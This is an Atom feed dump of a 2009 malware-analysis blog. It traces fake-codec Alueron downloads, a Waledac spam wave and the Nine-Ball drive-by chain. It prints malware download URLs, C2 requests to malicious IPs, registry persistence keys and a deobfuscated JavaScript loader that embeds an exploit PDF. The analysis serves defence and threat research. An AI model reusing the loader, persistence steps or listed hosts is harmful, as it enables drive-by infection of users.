alt=""id="BLOGGER_PHOTO_ID_5361109361413162386" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All I need to do is download this Live Video Player!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_q7ApSx8GNew/SmZ84PEDOFI/AAAAAAAAAEw/HFJ3KGDpO1I/s1600-h/report-cnn_pic2.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 266px;" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SmZ84PEDOFI/AAAAAAAAAEw/HFJ3KGDpO1I/s320/report-cnn_pic2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5361109711989192786" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;MediaPlayer.exe seems legitimate.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_q7ApSx8GNew/SmZ9FPa29YI/AAAAAAAAAE4/3u-fWD09IDs/s1600-h/report-cnn_pic3.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 216px;" src="http://3.bp.blogspot.com/_q7ApSx8GNew/SmZ9FPa29YI/AAAAAAAAAE4/3u-fWD09IDs/s320/report-cnn_pic3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5361109935423157634" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;No movie :( - what happened???&lt;br /&gt;&lt;br /&gt;The file MediaPlayer.exe was downloaded from simplexdoom.com (91.214.45.73).&lt;br /&gt;&lt;br /&gt;GET: http://simplexdoom.com/download/395a695151773d3df7992c7620090715/MediaPlayer.exe&lt;br /&gt;Referer: http://mediaplayer.4upd.com/Products/update_seven_win/-6478-332-34-en-hq-/mediatube.swf?clip=Erin Andrews Peephole Video&lt;br /&gt;&lt;br /&gt;File: MediaPlayer.exe&lt;br /&gt;Size: 86715&lt;br /&gt;MD5:  9D05428AE376A369798B126358B74150&lt;br /&gt;&lt;br /&gt;Per &lt;a href="http://www.threatexpert.com/report.aspx?md5=9d05428ae376a369798b126358b74150"&gt;ThreatExpert&lt;/a&gt;, MediaPlayer.exe installs several Alueron malware components. Per &lt;a href="http://www.ca.com/us/securityadvisor/virusinfo/virus.aspx?id=50214"&gt;CA&lt;/a&gt;, "Alueron is a family of trojans with a variety of components that can download and execute arbitrary files, hijack the browser to display fake web pages, and report affected user's queries performed with popular search engines."&lt;br /&gt;&lt;br /&gt;During analysis, the Alueron malware made the following C2 connections.&lt;br /&gt;&lt;br /&gt;POST /generator.php HTTP/1.0&lt;br /&gt;Host: 91.214.45.73&lt;br /&gt;&lt;br /&gt;POST /adc.php HTTP/1.0&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;br /&gt;Host: 91.214.45.73&lt;br /&gt;&lt;br /&gt;Let's try again, it has to be out there.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;vsj-news.com&lt;/span&gt; (174.36.240.140)&lt;br /&gt;&lt;br /&gt;VSJ News has to have the video. All I need is a Flash video codec plugin!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_q7ApSx8GNew/SmZ_aVsOI0I/AAAAAAAAAFA/Yv6ZgtksM08/s1600-h/vsj-news_pic1.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 229px;" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SmZ_aVsOI0I/AAAAAAAAAFA/Yv6ZgtksM08/s320/vsj-news_pic1.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5361112496907100994" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;FlashCodecPlugin.exe looks good!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_q7ApSx8GNew/SmZ_2-ghHbI/AAAAAAAAAFI/0cvRUyRz_Ko/s1600-h/vsj-news_pic2.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://1.bp.blogspot.com/_q7ApSx8GNew/SmZ_2-ghHbI/AAAAAAAAAFI/0cvRUyRz_Ko/s320/vsj-news_pic2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5361112988900203954" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;No movie again :(&lt;br /&gt;&lt;br /&gt;The file FlashCodecPlugin.exe was downloaded from bigdron.com (91.214.45.73).&lt;br /&gt;&lt;br /&gt;GET http:///bigdron.com/download/6936413148673d3d4ae1782e20090701/FlashCodecPlugin.exe&lt;br /&gt;Referer: http://vsj-news.com/video.php?vid=erin_andrews_peephole_video&lt;br /&gt;&lt;br /&gt;File: FlashCodecPlugin.exe&lt;br /&gt;Size: 88514&lt;br /&gt;MD5:  87CFCC91FB9934E55D3C969997D2BDC1&lt;br /&gt;&lt;br /&gt;Per &lt;a href="http://www.threatexpert.com/report.aspx?md5=87cfcc91fb9934e55d3c969997d2bdc1"&gt;ThreatExpert&lt;/a&gt;, FlashCodecPlugin.exe also installs several Alueron malware components.&lt;br /&gt;&lt;br /&gt;The FlashCodecPlugin.exe Alueron malware also connects to the same C2 sites.&lt;br /&gt;&lt;br /&gt;POST /generator.php HTTP/1.0&lt;br /&gt;Host: 91.214.45.73&lt;br /&gt;&lt;br /&gt;POST /adc.php HTTP/1.0&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;br /&gt;Host: 91.214.45.73&lt;br /&gt;&lt;br /&gt;Well, so much for the video. Let's examine some of the domains and IP addresses associated with the Alueron malware.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Domain/IP Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;report-cnn.com [hosts fake video requiring codec] currently resolves to 72.232.116.51 (AS22576, Layered Technologies, US). Several other suspect domains currently resolve to 72.232.116.51:&lt;br /&gt;&lt;br /&gt;bestcasinochat.com&lt;br /&gt;bestcasinogroup.com&lt;br /&gt;bestworldwidecasino.com&lt;br /&gt;casinogametime.net&lt;br /&gt;cavers.net&lt;br /&gt;celeb-sextapes.info&lt;br /&gt;chudnoj.com&lt;br /&gt;darkblog.org&lt;br /&gt;eblogic.com&lt;br /&gt;extraspray.com&lt;br /&gt;fashionclubcasino.net&lt;br /&gt;ffssa.com&lt;br /&gt;finadvisenow.com&lt;br /&gt;finquotenow.com&lt;br /&gt;flplace.com&lt;br /&gt;freepornsearcher.net&lt;br /&gt;freesexsearcher.net&lt;br /&gt;inacall.com&lt;br /&gt;kittyclubcasino.com&lt;br /&gt;lenma.com&lt;br /&gt;mediaplayer.4upd.com&lt;br /&gt;medicalc.net&lt;br /&gt;mifomatic.com&lt;br /&gt;mortagequotenow.com&lt;br /&gt;oops-boobs.com&lt;br /&gt;pornomixer.ru&lt;br /&gt;report-cnn.com&lt;br /&gt;rosem.biz&lt;br /&gt;sexy-babes-zone.com&lt;br /&gt;sleepingbabe.info&lt;br /&gt;smut-xxx.com&lt;br /&gt;totalautoblog.com&lt;br /&gt;truetrick.net&lt;br /&gt;video.report-cnn.com&lt;br /&gt;webartcreative.com&lt;br /&gt;www.chudnoj.com&lt;br /&gt;www.free-incest-movies.net&lt;br /&gt;www.pornomixer.ru&lt;br /&gt;www.sleepingbabe.info&lt;br /&gt;www.xesdn.ru&lt;br /&gt;x-light.info&lt;br /&gt;xesdn.ru&lt;br /&gt;&lt;br /&gt;simplexdoom.com [fake codec malware download site] currently resolves to 91.214.45.73 (AS44042, eSolutions, Belize). Several other suspect domains currently resolve to 91.214.45.73:&lt;br /&gt;&lt;br /&gt;*.allincorx.com&lt;br /&gt;*.bigdron.com&lt;br /&gt;*.cikaredo.com&lt;br /&gt;*.operationelx.com&lt;br /&gt;*.oxxadox.com&lt;br /&gt;*.paxxtiger.com&lt;br /&gt;*.rstdeals.com&lt;br /&gt;*.simplexdoom.com&lt;br /&gt;allincorx.com&lt;br /&gt;bigdron.com&lt;br /&gt;cikaredo.com&lt;br /&gt;detailedus.com&lt;br /&gt;ns1.allincorx.com&lt;br /&gt;ns1.bigdron.com&lt;br /&gt;ns1.cikaredo.com&lt;br /&gt;ns1.operationelx.com&lt;br /&gt;ns1.oxxadox.com&lt;br /&gt;ns1.paxxtiger.com&lt;br /&gt;ns1.rstdeals.com&lt;br /&gt;ns1.simplexdoom.com&lt;br /&gt;ns2.allincorx.com&lt;br /&gt;ns2.bigdron.com&lt;br /&gt;ns2.cikaredo.com&lt;br /&gt;ns2.operationelx.com&lt;br /&gt;ns2.oxxadox.com&lt;br /&gt;ns2.paxxtiger.com&lt;br /&gt;ns2.rstdeals.com&lt;br /&gt;ns2.simplexdoom.com&lt;br /&gt;operationelx.com&lt;br /&gt;oxxadox.com&lt;br /&gt;paxxtiger.com&lt;br /&gt;rstdeals.com&lt;br /&gt;simplexdoom.com&lt;br /&gt;&lt;br /&gt;vsj-news.com [hosts fake video requiring codec] currently resolves to 174.36.240.140 (AS36351, SOFTLAYER Technologies Inc., US). Several other suspect domains currently resolve to 174.36.240.140:&lt;br /&gt;&lt;br /&gt;24kadra.net&lt;br /&gt;avado.ru&lt;br /&gt;bestdom2.ru&lt;br /&gt;domivo4ka.com&lt;br /&gt;gliant.com&lt;br /&gt;kontaktzlo.ru&lt;br /&gt;kozenko.ru&lt;br /&gt;kurortnik.com.ua&lt;br /&gt;livedom2.ru&lt;br /&gt;simpletv.net&lt;br /&gt;softlayer.org.ru&lt;br /&gt;svet999.ru&lt;br /&gt;vsj-news.com&lt;br /&gt;wmsoft.ru&lt;br /&gt;www.24kadra.net&lt;br /&gt;www.bestdom2.ru&lt;br /&gt;www.kurortnik.com.ua&lt;br /&gt;www.livedom2.ru&lt;br /&gt;www.simpletv.net&lt;br /&gt;www.svet999.ru&lt;br /&gt;ylati.ru&lt;br /&gt;&lt;br /&gt;sexy-top-news.com [listed at digg.com, but down at the time of analysis] currently resolves to 195.88.191.21 (AS22576, Bigness Group Ltd., Russia). Several other suspect domains currently resolve to 195.88.191.21:&lt;br /&gt;&lt;br /&gt;empire-of-tops.com&lt;br /&gt;sexy-top-news.com&lt;br /&gt;shocking-stars.net&lt;br /&gt;video-trailers.net&lt;br /&gt;&lt;br /&gt;Bottom line: social engineering tactics surrounding current events and pornographic material continue to be a preferred TTP for cyber criminals. There is no need to come up with exploit code, when users continue to "choose" to install malware themselves.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-98191222412279625?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/98191222412279625/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=98191222412279625' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/98191222412279625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/98191222412279625'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2009/07/erin-andrews-peepshow-gone-bad.html' title='Erin Andrews Peepshow Gone Bad?'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_q7ApSx8GNew/SmZ6ZzqiIhI/AAAAAAAAAEg/_dEvK-g3de4/s72-c/dig1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-4323849539050163161</id><published>2009-07-08T19:10:00.004-04:00</published><updated>2009-07-08T19:28:01.218-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Waledac'/><category scheme='http://www.blogger.com/atom/ns#' term='Fast Flux'/><title type='text'>Waledac - July 4th Wave</title><content type='html'>Keeping up with theme-based spam, Waledac began a new wave for the 4th of July. &lt;a href="http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20090704"&gt;Shadowserver &lt;/a&gt;posted a list of 4th of July themed domains like the following:&lt;br /&gt;&lt;br /&gt;fireworksholiday.com&lt;br /&gt;freeindependence.com&lt;br /&gt;happyindependence.com&lt;br /&gt;holidayfirework.com&lt;br /&gt;&lt;br /&gt;The TTP was the standard spam, fake YouTube video and executable download. A sample Waledac spam email hyperlink is for wpyn.fireholiday.com/video.exe. The domain wpyn.fireholiday.com resolves to numerous Fast Flux IP addresses. A quick resolution of the first 50 nodes is below:&lt;br /&gt;&lt;br /&gt;112.76.132.115&lt;br /&gt;118.232.163.47&lt;br /&gt;118.34.184.174&lt;br /&gt;124.123.15.55&lt;br /&gt;200.114.156.47&lt;br /&gt;200.75.122.114&lt;br /&gt;200.8.236.97&lt;br /&gt;201.213.101.148&lt;br /&gt;201.75.55.113&lt;br /&gt;204.19.202.167&lt;br /&gt;213.106.51.95&lt;br /&gt;213.63.244.54&lt;br /&gt;213.89.177.19&lt;br /&gt;217.132.89.78&lt;br /&gt;24.56.242.144&lt;br /&gt;24.88.106.240&lt;br /&gt;60.2.41.179&lt;br /&gt;60.244.160.18&lt;br /&gt;61.35.161.29&lt;br /&gt;69.86.53.176&lt;br /&gt;71.12.11.2&lt;br /&gt;71.137.1.103&lt;br /&gt;71.17.123.33&lt;br /&gt;71.230.75.255&lt;br /&gt;77.37.144.56&lt;br /&gt;81.97.199.10&lt;br /&gt;82.1.200.141&lt;br /&gt;82.67.81.223&lt;br /&gt;83.233.163.135&lt;br /&gt;83.233.18.128&lt;br /&gt;84.108.85.123&lt;br /&gt;84.109.209.107&lt;br /&gt;85.201.139.159&lt;br /&gt;85.230.122.138&lt;br /&gt;86.123.150.156&lt;br /&gt;87.116.182.176&lt;br /&gt;88.163.104.87&lt;br /&gt;88.169.133.14&lt;br /&gt;89.136.112.46&lt;br /&gt;89.215.93.163&lt;br /&gt;89.34.67.226&lt;br /&gt;89.74.183.203&lt;br /&gt;89.76.121.249&lt;br /&gt;89.76.52.152&lt;br /&gt;92.53.34.101&lt;br /&gt;92.53.34.101&lt;br /&gt;93.100.87.113&lt;br /&gt;97.89.139.5&lt;br /&gt;98.239.10.9&lt;br /&gt;98.246.19.23&lt;br /&gt;&lt;br /&gt;sudosecure.net provides a cool &lt;a href="http://www.sudosecure.net/waledac/index.php"&gt;tracking mechanism for Waledac&lt;/a&gt; binaries, Fast Flux IP addresses and domains.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Malware Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;File: video.exe&lt;br /&gt;Size: 630784&lt;br /&gt;MD5:  1D36E772F9892B64D810978B9A99541E&lt;br /&gt;&lt;br /&gt;The Waledac malware video.exe creates a registry key referencing where the file was executed from. In this example, the file was executed from the desktop. &lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion "RList"&lt;br /&gt; Type: REG_BINARY&lt;br /&gt; Data: (data too large: 6944 bytes)&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run "PromoReg"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: C:\Documents and Settings\%User Profile%\Desktop\video.exe&lt;br /&gt;&lt;br /&gt;The following are samples of initial connections to various Waledac controllers.&lt;br /&gt;&lt;br /&gt;POST /rbbcrx.png&lt;br /&gt;Host: 119.77.219.219&lt;br /&gt;&lt;br /&gt;POST /lbohwj.png&lt;br /&gt;Host: 98.25.97.68&lt;br /&gt;&lt;br /&gt;POST / HTTP/1.1&lt;br /&gt;Host: 93.100.114.158&lt;br /&gt;&lt;br /&gt;POST /xdryoc.htm&lt;br /&gt;Host: 134.155.241.188&lt;br /&gt;&lt;br /&gt;POST /mzrbflwkczf.png&lt;br /&gt;Host: 93.100.114.158&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-4323849539050163161?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/4323849539050163161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=4323849539050163161' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/4323849539050163161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/4323849539050163161'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2009/07/waledac-july-4th-wave.html' title='Waledac - July 4th Wave'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-5056972412222976348</id><published>2009-06-19T23:21:00.016-04:00</published><updated>2009-06-22T21:05:11.364-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Adobe PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='Nine-Ball'/><title type='text'>Nine-Ball Analysis</title><content type='html'>On 16 June 2009, &lt;a href="http://securitylabs.websense.com/content/Alerts/3421.aspx"&gt;Websense released an Alert&lt;/a&gt; concerning the latest drive-by web exploit dubbed Nine-Ball. Per Websense, “We have been tracking the Nine-Ball mass compromise since 6/03/2009. To date, over 40,000 legitimate Web sites have been compromised with obfuscated code that leads to a multi-level redirection attack, ending in a series of drive-by exploits that if successful install a trojan downloader on the user's machine.” The name Nine-Ball came from the final landing exploit site destination after a series of redirects:&lt;br /&gt;&lt;br /&gt;rnw.kz &gt; bro.tw &gt; rmi.tw &gt; ninetoraq.in&lt;br /&gt;&lt;br /&gt;Further investigation reveals there are numerous landing exploit sites which dynamically change each time a victim host is redirected. Multiple connections from the same source IP address result in a redirect to the benign site ask.com. The exploit code on the landing site also appears to vary with each site.&lt;br /&gt;&lt;br /&gt;The following is sample redirect/exploit path followed from the base redirect rnw.kz/index.php&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Exploit Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;http://rnw.kz/index.php&lt;br /&gt;|--&gt;HTTP 302 location redirect to http://bro.tw/in.cgi?3&lt;br /&gt;|----&gt;meta http-equiv refresh redirect to http://rmi.tw/in.cgi?6&lt;br /&gt;|------&gt; HTTP 302 location and meta http-equiv refresh redirect to http://mias.tw/1/index.php&lt;br /&gt;&lt;br /&gt;All of the sites are hosted at 91.212.65.133 (Eurohost LLC, AS48841, Ukraine)&lt;br /&gt;&lt;br /&gt;The sites bro.tw and rmi.tw appear to utilize cookies to track visitor requests. Multiple requests result in a redirect to the landing site http://ask.com.&lt;br /&gt;&lt;br /&gt;The site http://mias.tw/1/index.php returns obfuscated JavaScript that decodes to reveal an EMBED tag that references pdf.php.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;function FVEopW91F0QKb(){&lt;br /&gt;  var Qqz8W8MiQQlAc = false;&lt;br /&gt;  try {&lt;br /&gt;    if (navigator.plugins &amp;&amp; navigator.mimeTypes.length){&lt;br /&gt;      for (var apjVVQ1jEqGNq = 0; apjVVQ1jEqGNq &lt; navigator.plugins.length; apjVVQ1jEqGNq&lt;br /&gt;       ++ ){&lt;br /&gt;        var iWHp9Og8VDFsw = navigator.plugins[apjVVQ1jEqGNq].name;&lt;br /&gt;        if (iWHp9Og8VDFsw.indexOf("Adobe Acrobat") !=  - 1){&lt;br /&gt;          Qqz8W8MiQQlAc = true;&lt;br /&gt;          break ;&lt;br /&gt;        }&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  catch (e){&lt;br /&gt;  }&lt;br /&gt;  if (Qqz8W8MiQQlAc){&lt;br /&gt;    document.write(&lt;br /&gt;    '&amp;lt;EMBED SRC="pdf.php" WIDTH="36" HEIGHT="14" TYPE="application/pdf" /&amp;gt;&amp;lt;/EMBED&amp;gt;');&lt;br /&gt;  }&lt;br /&gt;  else return false;&lt;br /&gt;}&lt;br /&gt;setTimeout("FVEopW91F0QKb();", 500);&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The file pdf.php request returned a PDF file named What_is_Unique_Pack.pdf. The filename refers to the unique Pack exploit toolkit discussed by &lt;a href="http://www.finjan.com/MCRCblog.aspx?EntryId=2266"&gt;Finjan&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;File: What_is_Unique_Pack.pdf&lt;br /&gt;Size: 15139&lt;br /&gt;MD5:  2C8144C3927A33598FEBFFBFC61B6EA9&lt;br /&gt;&lt;br /&gt;The PDF file meta data indicates it was created June 6, 2009 using Nitro PDF Professional 6.0 and print driver BCL easyPDF 6.00.20.&lt;br /&gt;&lt;br /&gt;/Creator (NitroPDF 6.0)&lt;br /&gt;/Producer (BCL easyPDF 6.00.20)&lt;br /&gt;/ModDate (D:20090606123256+02'00')&lt;br /&gt;/CreationDate (D:20090606123026+03'00')&lt;br /&gt;&lt;br /&gt;The PDF contains obfuscated JavaScript that decodes to reveal 3 exploits targeted against Adobe Reader vulnerabilities.&lt;br /&gt;&lt;br /&gt;• Adobe util.printf overflow vulnerability (CVE-2008-2992, APSB08-19)&lt;br /&gt;• Collab.collectEmailInfo()JavaScript Method Remote Code Execution Vulnerability (CVE-2007-5659, APSB08-13)&lt;br /&gt;• Collab.getIcon() JavaScript Method Remote Code Execution Vulnerability (CVE-2009-0927, APSB09-04)&lt;br /&gt;&lt;br /&gt;All of the exploits result in the GET request for http://mias.tw/1/getexe.php downloaded as load.exe. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Malware Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware load.exe creates mscorewr.dll, which Microsoft detects as Win32/Silentbanker.B. As of 2009.06.20 02:30:08 (UTC) only 2/41 antivirus vendors detect the malware.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.threatexpert.com/report.aspx?md5=801efe85bef379e50b882f7b5846db7a"&gt;ThreatExpert&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/eb3962522627202d140c96d5cf8e88c36299c1e646e9760921139a7c8b8fed38-1245465008"&gt;VirusTotal&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;File: load.exe&lt;br /&gt;Size: 69632&lt;br /&gt;MD5:  801EFE85BEF379E50B882F7B5846DB7A&lt;br /&gt;&lt;br /&gt;The malware load.exe creates the following file and registry entries.&lt;br /&gt;&lt;br /&gt;c:\WINDOWS\system32\mscorewr.dll&lt;br /&gt;&lt;br /&gt;File: mscorewr.dll&lt;br /&gt;Size: 86016&lt;br /&gt;MD5:  33C03C3768610765A06CB112CABAA00A&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000} "(Default)"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: mscorewr&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}\InprocServer32 "(Default)"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: C:\WINDOWS\System32\mscorewr.dll&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}\InprocServer32 "ThreadingModel"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data: Apartment&lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}\TypeLib "(Default)"&lt;br /&gt; Type: REG_SZ&lt;br /&gt; Data:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Domain/IP Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The 3 initial redirect domains rnw.kz, bro.tw, and rmi.tw resolve to 91.212.65.133 (Eurohost LLC, AS48841, Ukraine). The following domains also currently resolve to 91.212.65.133.&lt;br /&gt;&lt;br /&gt;bmt.tw&lt;br /&gt;bro.tw&lt;br /&gt;mail.bro.tw&lt;br /&gt;mail.nikodomain.info&lt;br /&gt;molo.tw&lt;br /&gt;nikodomain.info&lt;br /&gt;ns1.dmdnssrv.info&lt;br /&gt;orep.tw&lt;br /&gt;rmi.tw&lt;br /&gt;rnw.kz&lt;br /&gt;sovi.tw&lt;br /&gt;mias.tw&lt;br /&gt;&lt;br /&gt;The below table lists domain registration data for the domains hosted at 91.212.65.133:&lt;br /&gt;&lt;br /&gt;Domain Registration Provider Registration Date Registrant Country&lt;br /&gt;mias.tw WebCC Ltd. 2009-06-15 RU&lt;br /&gt;bmt.tw WebCC Ltd. 2009-05-17 RU&lt;br /&gt;bro.tw WebCC Ltd. 2009-06-03 RU&lt;br /&gt;molo.tw WebCC Ltd. 2009-06-09 RU&lt;br /&gt;orep.tw WebCC Ltd. 2009-06-15 RU&lt;br /&gt;rmi.tw WebCC Ltd. 2009-06-12 RU&lt;br /&gt;sovi.tw WebCC Ltd. 2009-06-12 RU&lt;br /&gt;rnw.kz SKILLTEX 2009-05-18 RU&lt;br /&gt;&lt;br /&gt;Redirect testing identified the exploit landing site rotated between several sites. The following sites were observed in addition to the aforementioned http://mias.tw/1/index.php. Each of the exploit landing sites used different obfuscation techniques, exploits and payload downloads.&lt;br /&gt;&lt;br /&gt;http://my-bilderrahmen.cn/e/t.php (85.17.200.207, NL)&lt;br /&gt;http://adultfex.com/lb/index.php (209.160.72.174, US)&lt;br /&gt;http://www.1w90.co.cc/1/index.php (213.182.197.251, LV)&lt;br /&gt;http://pendu1um.cn/cp/index.php (61.235.117.85, CN)&lt;br /&gt;http://orep.tw/pve/ (91.212.65.133, RU)&lt;br /&gt;http://stopssse.info/l.php?pbr (66.199.237.127, US)&lt;br /&gt;&lt;br /&gt;On 22 June 2009, &lt;a href="http://www.networkworld.com/news/2009/062209-scansafe-labels-nine-ball-attack-as.html"&gt;ScanSafe called out Websense's&lt;/a&gt; reporting numbers and stated Nine-Ball was a bunch of hype. Let the firewoks begin...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-5056972412222976348?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/5056972412222976348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=5056972412222976348' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/5056972412222976348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/5056972412222976348'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2009/06/nine-ball-analysis.html' title='Nine-Ball Analysis'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-3391528375637606623</id><published>2009-06-11T20:18:00.011-04:00</published><updated>2009-06-11T21:39:44.525-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pushdo'/><category scheme='http://www.blogger.com/atom/ns#' term='Zefarch'/><category scheme='http://www.blogger.com/atom/ns#' term='Adobe PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='Gozi'/><category scheme='http://www.blogger.com/atom/ns#' term='Gumblar'/><category scheme='http://www.blogger.com/atom/ns#' term='Flash'/><title type='text'>Gumblar Analysis</title><content type='html'>So it seems Gumblar is the latest threat to receive continual media hype. It was nice to see &lt;a href="https://forums2.symantec.com/t5/blogs/blogarticlepage/blog-id/malicious_code/article-id/272"&gt;Symantec's&lt;/a&gt; opinion that this is just another day in the life of the web. Recent "threats" like Conficker and Gumblar seem to benefit security vendors and consultants who feed the hype for business purposes. The term Gumblar is an adopted term that describes a recent web-based drive-by attack. The attack follows the standard web-based drive-by attack TTP:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The bad guys use stolen FTP credentials or SQL injection to inject iframe redirects into legitimate websites.&lt;/li&gt;&lt;li&gt;The iframes redirect to sites that host exploit code targteted against web browsers, browser plug-ins and 3rd party applications (IE, FF, Adobe Reader, WinZip, etc.)&lt;/li&gt;&lt;li&gt;The exploits result in malware payload. The malware typically downloads additional for-profit malware (spambots, infostealers, rogue security products, etc.)&lt;/li&gt;&lt;li&gt;Credentials 